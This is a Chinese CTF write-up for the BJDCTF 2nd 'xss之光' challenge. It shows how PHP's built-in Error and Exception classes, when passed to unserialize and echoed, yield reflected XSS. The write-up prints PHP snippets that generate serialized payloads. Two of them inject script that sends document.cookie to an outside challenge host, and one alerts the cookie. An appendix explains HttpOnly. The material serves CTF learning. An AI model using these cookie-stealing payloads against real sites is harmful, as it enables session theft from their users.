PHP中利用原生类的反序列化以实现XSS

https://blog.csdn.net/weixin_63231007/article/details/128472820

https://blog.csdn.net/unexpectedthing/article/details/121780909

BJDCTF 2nd xss之光

1.先是git泄露,用Githack拿到源码

1
2
3
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

2.利用php内置类,寻找有__toString类的方法

ERROR:

​ ERROR这个原生类适用于php7版本

​ Error类就是php的一个内置类用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,因为它内置有一个toString的方法。

Exception

​ 适用于php5、7版本

​ 这个类利用的方式和原理和Error 类一模一样,但是适用于php5和php7,相对之下更加好用。

利用如下:

1
2
3
<?php
$a = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($a));

传参,成功弹窗

3.几种方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$y1ng = new Exception("<script>window.open('http://a0a58185-02d8-4b85-8dbb-f5a991c8b45c.node3.buuoj.cn/?'+document.cookie);</script>");
echo urlencode(serialize($y1ng));
?>
//window.open 是 javaScript 打开新窗口的方法

也可以用window.location.href='url'来实现恶意跳转
<?php
$a = new Exception("<script>window.location.href='http://8ff615f3-da70-4d1a-959f-f29d817ecd90.node3.buuoj.cn'+document.cookie</script>");
echo urlencode(serialize($a));
?>

或者用alert(document.cookie)直接弹出cookie,但此题不行,可能开了httponly(见附录)。
<?php
$y1ng = new Exception("<script>alert(document.cookie)</script>");
echo urlencode(serialize($y1ng));
?>

4.传参后Cookie查看flag

附录:

什么是HttpOnly?

如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,窃取cookie内容,这样就增加了cookie的安全性,即便是这样,也不要将重要信息存入cookie。